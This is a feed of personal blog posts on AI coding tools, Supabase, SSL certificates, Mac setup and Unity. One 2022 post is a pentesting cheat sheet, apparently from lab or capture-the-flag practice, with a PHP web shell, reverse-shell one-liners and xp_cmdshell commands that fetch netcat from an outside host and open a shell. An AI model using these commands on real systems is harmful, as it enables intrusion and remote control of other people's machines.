<li><p>Claude Code (Max)<br><a href="https://www.anthropic.com/claude" target="_blank" rel="noopener">https://www.anthropic.com/claude</a>
Subscription is $100, but in reality, you often have to get the $200 one if you really work all day or manage several projects. There&#39;s no point in getting the $20 one; it runs out instantly, it won&#39;t even be enough for a side project, especially if you turn on the top-tier Opus model.
As a product overall, they are the best right now. They set the direction, others mostly catch up. According to reviews, Opus is considered the &quot;smartest&quot; model on the market. In my experience — it&#39;s not a given that it&#39;s actually smarter than Codex, but if you need to write a lot of code and have an extra $200 — this is probably the best option (although I haven&#39;t taken the $200 subscription from ChatGPT, maybe it&#39;s better).</p>
</li>
<li><p>OpenCode<br><a href="https://opencode.ai" target="_blank" rel="noopener">https://opencode.ai</a>
An open tool. You can use some models for free, connect GPT or Claude APIs, or even your own local models. A good option if you want to try it completely for free or use local models.</p>
</li>
<li><p>Kimi K2.5<br><a href="https://kimi.com" target="_blank" rel="noopener">https://kimi.com</a>
It came out literally yesterday. I&#39;ve already heard good reviews, haven&#39;t tried it myself yet. They claim Opus level, it costs much less, and theoretically, you can deploy a cut-down version locally (requires a graphics card with a large amount of memory).</p>
</li>
<li><p>GLM-4.7<br><a href="https://github.com/THUDM/GLM" target="_blank" rel="noopener">https://github.com/THUDM/GLM</a>
A Chinese model, also aiming to compete with Opus and Codex. How good it is — I can&#39;t say, but it costs less. And they have a lighter version, GLM-4.7 Flash, which can be used for free via the same OpenCode. Or hook it up to the trendy Clawdbot (Moltbot) — and not think about tokens/money at all.</p>
</li>
<li><p>Google Antigravity<br><a href="https://deepmind.google/technologies/alphacode/" target="_blank" rel="noopener">https://deepmind.google/technologies/alphacode/</a>
It doesn&#39;t work in Russia, but you can find a workaround and connect via the same OpenCode. I don&#39;t know how long the free limits last, but if you want to try out Opus for free at least a little, this is an option.</p>
</li>
<li><p>Copilot<br><a href="https://github.com/features/copilot" target="_blank" rel="noopener">https://github.com/features/copilot</a>
It didn&#39;t work out for me. Two attempts: the first time I couldn&#39;t pay, the second time — the subscription seemed to go through, but in one project it didn&#39;t see it, and in another it constantly hung and threw errors.
Although in terms of price and limits it looks pretty good:
$10 — 300 requests to Claude Sonnet,
$39 — 1500 requests.
But my personal experience was so-so.</p>
</li>
</ol>
<p><strong>If you are just getting into vibe coding – get Codex and don&#39;t stress.</strong>
For starting out, this is currently the most normal option.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-480.avif 480w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.avif 960w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-1600.avif 1600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.webp" alt="" width="1600" height="900" style="aspect-ratio:1600/900" srcset="https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-480.webp 480w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-960.webp 960w, https://koz.tv/posts/about-tools-models-for-vibe-coding/image1-1600.webp 1600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>The generated trailer looks better than 90% of the movies released in the last couple of years.</title>
      <link>https://koz.tv/posts/the-generated-trailer-looks-better-than-90-of-the-movies/</link>
      <guid isPermaLink="true">https://koz.tv/posts/the-generated-trailer-looks-better-than-90-of-the-movies/</guid>
      <pubDate>Sat, 24 Jan 2026 00:00:01 GMT</pubDate>
      <description>I'd definitely turn this on, having stopped endlessly searching for something to watch. Hollywood AI movie trailers can no longer be distinguished from real…</description>
      <content:encoded><![CDATA[<p>I&#39;d definitely turn this on, having stopped endlessly searching for something to watch.</p>
<blockquote>
<p>Hollywood AI movie trailers can no longer be distinguished from real ones. Neither by the visuals, nor by the editing, nor by the acting.</p>
<p>AI slop is getting ready to hit the cinemas💀</p>
<p>— <a href="https://t.me/sale_caviar/15724" target="_blank" rel="noopener">zucchini caviar on sale</a></p>
</blockquote>
<p><video src="https://koz.tv/posts/the-generated-trailer-looks-better-than-90-of-the-movies/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>Picked up this beauty for 3000 rubles, I'll try to make something interesting out of it.</title>
      <link>https://koz.tv/posts/picked-up-this-beauty-for-3000-rubles-ill-try-to-make-something/</link>
      <guid isPermaLink="true">https://koz.tv/posts/picked-up-this-beauty-for-3000-rubles-ill-try-to-make-something/</guid>
      <pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate>
      <description>Picked up this beauty for 3000 rubles, I'll try to make something interesting out of it.</description>
      <content:encoded><![CDATA[<p><video src="https://koz.tv/posts/picked-up-this-beauty-for-3000-rubles-ill-try-to-make-something/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>For small projects, Supabase is actually a pretty good solution.</title>
      <link>https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/</link>
      <guid isPermaLink="true">https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/</guid>
      <pubDate>Thu, 22 Jan 2026 00:00:01 GMT</pubDate>
      <description>If you stay within the limits or if you don't mind spending money on the cloud — it really saves time. Many are currently using Supabase together with n8n…</description>
      <content:encoded><![CDATA[<p>If you stay within the limits or if you don&#39;t mind spending money on the cloud —
it really saves time.
Many are currently using Supabase together with <a href="https://n8n.io/" target="_blank" rel="noopener">n8n</a> —
it&#39;s a visual tool for automations,
where you assemble logic from blocks:
triggers, requests, actions, integrations.
No code or minimal coding.
You get started in minutes.
A lot works right away.
For prototypes and small services — it&#39;s fine.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-480.avif 480w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.avif 960w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1.avif 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.webp" alt="" width="1200" height="630" style="aspect-ratio:1200/630" srcset="https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-480.webp 480w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1-960.webp 960w, https://koz.tv/posts/for-small-projects-supabase-is-actually-a-pretty-good-solution/image1.webp 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>About how sometimes it's better to throw away and forget.</title>
      <link>https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/</link>
      <guid isPermaLink="true">https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/</guid>
      <pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate>
      <description>Continuing the story with Supabase. By the second or third day, I was already starting to think that maybe I should have chosen a different solution. But every…</description>
      <content:encoded><![CDATA[<p>Continuing the story with <a href="https://supabase.com/" target="_blank" rel="noopener">Supabase</a>.
By the second or third day, I was already starting to think that maybe I should have chosen a different solution.
But every time it felt like: just a little bit more — and it would definitely take off the way it should.
And then there would be happiness.
But it didn&#39;t come.
After the fifth day, it got even harder.
It was already a pity to scrap it.
And a lot of things were tied up in it.
And I’d already paid for the server.
And it seemed to be &quot;almost working&quot;.
But it still didn&#39;t feel right.
At some point, I just set a deadline for myself.
If it doesn&#39;t work properly after that, I&#39;m pulling the plug.
No &quot;just one more evening&quot;, no &quot;let&#39;s try this&quot;.
In the end, it didn&#39;t take off.
So I scrapped it.
I spent another half a day, probably, migrating everything to a regular database.
And went on to build other features.
I don&#39;t know how much longer I would have kept messing around with this trendy solution.
But sometimes, it seems you have to accept that you&#39;ve already buried a ton of time —
and still let it go to keep moving forward.
Even if it&#39;s hard.
Even if it hurts.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-480.avif 480w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.avif 960w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1.avif 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.webp" alt="" width="1200" height="600" style="aspect-ratio:1200/600" srcset="https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-480.webp 480w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1-960.webp 960w, https://koz.tv/posts/about-how-sometimes-its-better-to-throw-away-and-forget/image1.webp 1200w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>I spent a week to realize that I don't need a trendy stack.</title>
      <link>https://koz.tv/posts/i-spent-a-week-to-realize-that-i-dont-need-a-trendy-stack/</link>
      <guid isPermaLink="true">https://koz.tv/posts/i-spent-a-week-to-realize-that-i-dont-need-a-trendy-stack/</guid>
      <pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate>
      <description>Like many, I started with Supabase as my database. Then I hit the free limits, the paid plans seemed greedy, so I decided to host everything on my own server…</description>
      <content:encoded><![CDATA[<p>Like many, I started with Supabase as my database. Then I hit the free limits, the paid plans seemed greedy, so I decided to host everything on my own server. I spent a week on it.
In return, I got more complexity, less flexibility, and limitations that didn&#39;t suit me.
I have other projects that also need a database. But Supabase only has one. It also turned out that this beast consumes quite a few resources. In the end, I just spun up Postgres in containers on the same server where my other services live. Without unnecessary bells and whistles and without extra payments.
I should have spent more time thinking than doing. Although, honestly, I really wanted to try something new.
Every choice costs time. Make the wrong choice, and you lose time. And when you&#39;re working alone, the limit for experiments is pretty tight.
The experience was useful. But not essential.</p>
]]></content:encoded>
    </item>
    <item>
      <title>I really did a lot.</title>
      <link>https://koz.tv/posts/i-really-did-a-lot/</link>
      <guid isPermaLink="true">https://koz.tv/posts/i-really-did-a-lot/</guid>
      <pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate>
      <description>Projects, technologies, attempts to optimize everything, understand faster, decide more accurately. Over time, I started noticing, that perhaps the point isn't…</description>
      <content:encoded><![CDATA[<p>Projects, technologies, attempts to optimize everything,
understand faster, decide more accurately.
Over time, I started noticing,
that perhaps the point
isn&#39;t in the amount of work done,
but in the quality of the choices.
This channel is an attempt
to figure out
how we think and choose
in a world that is constantly accelerating.
Sometimes through technology.
Sometimes through chess.
More often — through the pause between decisions.
Without haste, without fuss.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Pentesting tools and useful commands</title>
      <link>https://koz.tv/posts/pentesting-tools-and-useful-commands/</link>
      <guid isPermaLink="true">https://koz.tv/posts/pentesting-tools-and-useful-commands/</guid>
      <pubDate>Wed, 05 Oct 2022 00:00:00 GMT</pubDate>
      <description>GTFOBins — list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. Kali OS</description>
      <content:encoded><![CDATA[<p><a href="https://gtfobins.github.io/" target="_blank" rel="noopener">GTFOBins</a> — list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.</p>
<p><a href="https://www.kali.org/" target="_blank" rel="noopener">Kali OS</a></p>
<p><a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/" target="_blank" rel="noopener">Select Network Repositories</a></p>
<p>Default:</p>
<pre><code class="language-bash">echo &quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&quot; | sudo tee /etc/apt/sources.list
</code></pre>
<p>More stable:</p>
<pre><code class="language-bash">echo &quot;deb http://http.kali.org/kali kali-last-snapshot main contrib non-free&quot; | sudo tee /etc/apt/sources.list
</code></pre>
<p>Install all tools:</p>
<pre><code class="language-bash">sudo apt install -y kali-linux-large
</code></pre>
<p>Install GUI:</p>
<pre><code class="language-bash">sudo apt install -y kali-win-kex
</code></pre>
<p><a href="https://www.kali.org/docs/wsl/win-kex/" target="_blank" rel="noopener">GUI Documentation.</a> Run GUI, to exit from full screen mode press <strong>F8</strong>:</p>
<pre><code class="language-bash">kex --win -s
</code></pre>
<p><a href="https://www.wappalyzer.com/apps" target="_blank" rel="noopener">Wappalyzer</a> — browser extension to see the technologies used on websites.</p>
<p>OpenVPN</p>
<pre><code class="language-bash">sudo openvpn --config vpn.ovpn --daemon
</code></pre>
<p>The network interface can be checked by running the <strong>ifconfig</strong> command in the terminal.</p>
<p>Shutdown</p>
<pre><code class="language-bash">sudo ifconfig tun1 down
</code></pre>
<p>Search WebCatalogs on site:
<code>dirsearch -u http://october.metaltech.stf/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt</code></p>
<p>Responder</p>
<pre><code class="language-bash">sudo responder -I tun0
</code></pre>
<p>John the ripper</p>
<pre><code class="language-bash">zip2john backup.zip &gt; hashes
</code></pre>
<pre><code class="language-bash">john -w=/usr/share/wordlists/rockyou.txt hash.txt
</code></pre>
<p>Identify possible hashes</p>
<pre><code class="language-bash">hashid 2cb42f8734ea607eefed3b70af13bbd3
</code></pre>
<p>Crack hash</p>
<pre><code class="language-bash">hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
</code></pre>
<p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server" target="_blank" rel="noopener">Pentesting MSSQL</a></p>
<p><a href="https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet" target="_blank" rel="noopener">MSSQL Injection Cheat Sheet</a></p>
<p>Impacket mssql client</p>
<pre><code class="language-bash">impacket-mssqlclient ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
</code></pre>
<pre><code class="language-sql">xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.17.81/nc64.exe -outfile nc64.exe&quot;
xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.17.81 443&quot;
</code></pre>
<p>SQL map</p>
<pre><code class="language-bash">sqlmap -u &#39;http://10.129.10.184/dashboard.php?search=asd&#39; --cookie=&#39;PHPSESSID=tg7rj9h95j4bb1u3211ti406qo&#39;
</code></pre>
<pre><code class="language-bash">sqlmap -u &#39;http://10.129.10.184/dashboard.php?search=asd&#39; --cookie=&#39;PHPSESSID=tg7rj9h95j4bb1u3211ti406qo&#39; --os-shell
</code></pre>
<p><a href="https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe" target="_blank" rel="noopener">winPEAS</a> (Windows Privilege Escalation)</p>
<p><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS" target="_blank" rel="noopener">linPEAS</a> (Linux Privilege Escalation)</p>
<p>Evil Win Remote</p>
<pre><code class="language-bash">evil-winrm -i 10.129.233.177 -u administrator -p badminton
</code></pre>
<p><a href="https://nmap.org/" target="_blank" rel="noopener">Nmap</a></p>
<pre><code class="language-bash">sudo nmap -sV 192.168.1.1

sudo nmap -sV -sC 192.168.1.1

sudo nmap -p- --min-rate 5000 -sV 192.168.1.1
</code></pre>
<p>Gobuster</p>
<pre><code class="language-bash">go install github.com/OJ/gobuster/v3@latest
git clone https://github.com/danielmiessler/SecLists.git
gobuster dir --url http://10.129.236.130/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
gobuster dir --url http://10.129.119.70/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
</code></pre>
<p>MySQL</p>
<pre><code class="language-bash">mysql -h 10.129.132.32 -u root
</code></pre>
<pre><code class="language-sql">SHOW databases; : Prints out the databases we can access.
USE {database_name}; : Set to use the database named {database_name}.
SHOW tables; : Prints out the available tables inside the current
database.
SELECT * FROM {table_name}; : Prints out all the data from the table {table_name}.
</code></pre>
<p>SMB</p>
<pre><code class="language-bash">smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server
</code></pre>
<p><a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/" target="_blank" rel="noopener">Fully interactive shells</a></p>
<p>Simple PHP Shell</p>
<pre><code class="language-php">echo &#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39; &gt; shell.php
</code></pre>
<p>Reverse Shell</p>
<pre><code class="language-bash">printf &#39;#!/bin/bash\nbash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP_ADDRESS&gt;/1337 0&gt;&amp;1&#39; &gt; shell.sh
</code></pre>
<p>Or</p>
<pre><code class="language-bash">bash -c &quot;bash -i &gt;&amp; /dev/tcp/{your_IP}/1337 0&gt;&amp;1&quot;
</code></pre>
<p>Start ncat listener</p>
<pre><code class="language-bash">nc -nvlp 1337
</code></pre>
<p>Start Web Server</p>
<pre><code class="language-bash">python3 -m http.server 8000
</code></pre>
<p>Start example</p>
<pre><code>http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash
</code></pre>
<p>Functional shell</p>
<pre><code class="language-bash">python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;
</code></pre>
<p>Upgrade shell</p>
<pre><code class="language-bash">script /dev/null -c bash
</code></pre>
<p><a href="https://portswigger.net/burp/releases/professional-community-2022-7-1?requestededition=community" target="_blank" rel="noopener">Burp Suite</a></p>
<p><a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html" target="_blank" rel="noopener">Metasploit</a></p>
<p><a href="https://sqlmap.org/" target="_blank" rel="noopener">sqlmap</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Generating free ssl certificate for website on Windows</title>
      <link>https://koz.tv/posts/generating-free-ssl-certificate-for-website-on-windows/</link>
      <guid isPermaLink="true">https://koz.tv/posts/generating-free-ssl-certificate-for-website-on-windows/</guid>
      <pubDate>Thu, 08 Sep 2022 00:00:00 GMT</pubDate>
      <description>Free certificate can be generated here. If you need to convert CRT to PFX, download openssl here. Something like “openssl-1.0.2q-x64_86-win64.zip” will work.</description>
      <content:encoded><![CDATA[<p>Free certificate can be generated here:</p>
<p><a href="https://zerossl.com/" target="_blank" rel="noopener">https://zerossl.com/</a></p>
<p>If you need to convert CRT to PFX, download openssl here:</p>
<p><a href="https://indy.fulgan.com/SSL/" target="_blank" rel="noopener">https://indy.fulgan.com/SSL/</a></p>
<p>Something like “openssl-1.0.2q-x64_86-win64.zip” will work.</p>
<p>If you have separate crt for CA, join it with main certificate in text editor and name new file bundle.crt</p>
<p>Copy all certificates to openssl folder. Open folder in terminal and run following command:</p>
<pre><code class="language-bash">.\openssl pkcs12 -export -out result.pfx -inkey private.key -in bundle.crt
</code></pre>
<p>Create some password for your new certificate and if everything was correct, you will find result.pfx in openssl folder.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Configure clean MacBook</title>
      <link>https://koz.tv/posts/clean-mac-install-settings/</link>
      <guid isPermaLink="true">https://koz.tv/posts/clean-mac-install-settings/</guid>
      <pubDate>Wed, 03 Feb 2021 00:00:00 GMT</pubDate>
      <description>Configure clean MacBook. Programs to install: Visual Studio Code, Figma, Brew, Iterm, Zsh, Spectacle, Notion</description>
      <content:encoded><![CDATA[<p>Programs to install:</p>
<ul>
<li><p><a href="https://code.visualstudio.com/" target="_blank" rel="noopener">Visual Studio Code</a></p>
</li>
<li><p><a href="https://desktop.figma.com/mac/Figma.zip" target="_blank" rel="noopener">Figma</a></p>
</li>
<li><p><a href="https://brew.sh/" target="_blank" rel="noopener">Brew</a></p>
<pre><code class="language-bash">/bin/bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&quot;
</code></pre>
</li>
<li><p><a href="https://iterm2.com/" target="_blank" rel="noopener">Iterm</a></p>
<pre><code class="language-bash">brew install --cask iterm2
</code></pre>
</li>
<li><p>Zsh</p>
<pre><code class="language-bash">sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;
</code></pre>
</li>
<li><p><a href="https://www.spectacleapp.com/" target="_blank" rel="noopener">Spectacle</a></p>
</li>
<li><p><a href="https://www.notion.so/desktop" target="_blank" rel="noopener">Notion</a></p>
</li>
</ul>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image1-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image1-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image1.avif 1338w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image1-960.webp" alt="Screenshot 2022-10-12 at 17.15.53" width="1338" height="412" style="aspect-ratio:1338/412" srcset="https://koz.tv/posts/clean-mac-install-settings/image1-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image1-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image1.webp 1338w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image2-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image2-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image2.avif 1326w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image2-960.webp" alt="Screenshot 2022-10-12 at 17.16.35" width="1326" height="636" style="aspect-ratio:1326/636" srcset="https://koz.tv/posts/clean-mac-install-settings/image2-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image2-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image2.webp 1326w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/clean-mac-install-settings/image3-480.avif 480w, https://koz.tv/posts/clean-mac-install-settings/image3-960.avif 960w, https://koz.tv/posts/clean-mac-install-settings/image3.avif 1346w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/clean-mac-install-settings/image3-960.webp" alt="Screenshot 2022-10-12 at 17.36.24" width="1346" height="988" style="aspect-ratio:1346/988" srcset="https://koz.tv/posts/clean-mac-install-settings/image3-480.webp 480w, https://koz.tv/posts/clean-mac-install-settings/image3-960.webp 960w, https://koz.tv/posts/clean-mac-install-settings/image3.webp 1346w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Unity Collaborate</title>
      <link>https://koz.tv/posts/unity-collaborate/</link>
      <guid isPermaLink="true">https://koz.tv/posts/unity-collaborate/</guid>
      <pubDate>Fri, 27 Mar 2020 00:00:00 GMT</pubDate>
      <description>In Unity you can create a team and work together at one project. Just go to Unity Organizations Page and create new team.</description>
      <content:encoded><![CDATA[<p>In Unity you can create a team and work together at one project.</p>
<p>Just go to <a href="https://id.unity.com/en/organizations/" target="_blank" rel="noopener">Unity Organizations Page</a> and create new team.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image1-480.avif 480w, https://koz.tv/posts/unity-collaborate/image1-960.avif 960w, https://koz.tv/posts/unity-collaborate/image1-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image1.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/unity-collaborate/image1-960.webp" alt="Screen Shot 2020-03-27 at 19.04.39" width="2048" height="566" style="aspect-ratio:2048/566" srcset="https://koz.tv/posts/unity-collaborate/image1-480.webp 480w, https://koz.tv/posts/unity-collaborate/image1-960.webp 960w, https://koz.tv/posts/unity-collaborate/image1-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image1.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Then you can create new project or open existing one.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image2-480.avif 480w, https://koz.tv/posts/unity-collaborate/image2-960.avif 960w, https://koz.tv/posts/unity-collaborate/image2-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image2.avif 1944w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image2-960.webp" alt="Screen Shot 2020-03-28 at 15.35.57" width="1944" height="1206" style="aspect-ratio:1944/1206" srcset="https://koz.tv/posts/unity-collaborate/image2-480.webp 480w, https://koz.tv/posts/unity-collaborate/image2-960.webp 960w, https://koz.tv/posts/unity-collaborate/image2-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image2.webp 1944w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Go to Window &gt; General &gt; Services.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image3-480.avif 480w, https://koz.tv/posts/unity-collaborate/image3.avif 481w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image3-480.webp" alt="Screen Shot 2020-03-28 at 15.38.45" width="481" height="600" style="aspect-ratio:481/600" srcset="https://koz.tv/posts/unity-collaborate/image3-480.webp 480w, https://koz.tv/posts/unity-collaborate/image3.webp 481w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>At the top right corner click “Сollab” and make your first commit.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image4-480.avif 480w, https://koz.tv/posts/unity-collaborate/image4.avif 600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image4-480.webp" alt="Screen Shot 2020-03-28 at 15.40.29" width="600" height="445" style="aspect-ratio:600/445" srcset="https://koz.tv/posts/unity-collaborate/image4-480.webp 480w, https://koz.tv/posts/unity-collaborate/image4.webp 600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Now you can go to projects page and find your project.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image5-480.avif 480w, https://koz.tv/posts/unity-collaborate/image5-960.avif 960w, https://koz.tv/posts/unity-collaborate/image5-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image5.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image5-960.webp" alt="Screen Shot 2020-03-28 at 15.41.35" width="2048" height="856" style="aspect-ratio:2048/856" srcset="https://koz.tv/posts/unity-collaborate/image5-480.webp 480w, https://koz.tv/posts/unity-collaborate/image5-960.webp 960w, https://koz.tv/posts/unity-collaborate/image5-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image5.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Select your project and more info will appear.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image6-480.avif 480w, https://koz.tv/posts/unity-collaborate/image6-960.avif 960w, https://koz.tv/posts/unity-collaborate/image6-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image6.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image6-960.webp" alt="Screen Shot 2020-03-28 at 15.41.04" width="2048" height="756" style="aspect-ratio:2048/756" srcset="https://koz.tv/posts/unity-collaborate/image6-480.webp 480w, https://koz.tv/posts/unity-collaborate/image6-960.webp 960w, https://koz.tv/posts/unity-collaborate/image6-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image6.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Awesome! Good luck with your new project, see you soon 😉</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automate your work on Mac</title>
      <link>https://koz.tv/posts/automate-your-work-on-mac/</link>
      <guid isPermaLink="true">https://koz.tv/posts/automate-your-work-on-mac/</guid>
      <pubDate>Tue, 10 Dec 2019 00:00:00 GMT</pubDate>
      <description>Hello! I always wanted to use my macbook more effectively and do more tasks then I do right now. And I have found how to make it possible!</description>
      <content:encoded><![CDATA[<p>Hello!</p>
<p>I always wanted to use my macbook more effectively and do more tasks then I do right now. And I have found how to make it possible!</p>
<h2>Automator</h2>
<p><a href="https://support.apple.com/ru-ru/guide/automator/welcome" target="_blank" rel="noopener"><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/automate-your-work-on-mac/image1.avif 300w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/automate-your-work-on-mac/image1.png" alt="Automator icon" width="300" height="300" style="aspect-ratio:300/300" srcset="https://koz.tv/posts/automate-your-work-on-mac/image1.webp 300w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></a></p>
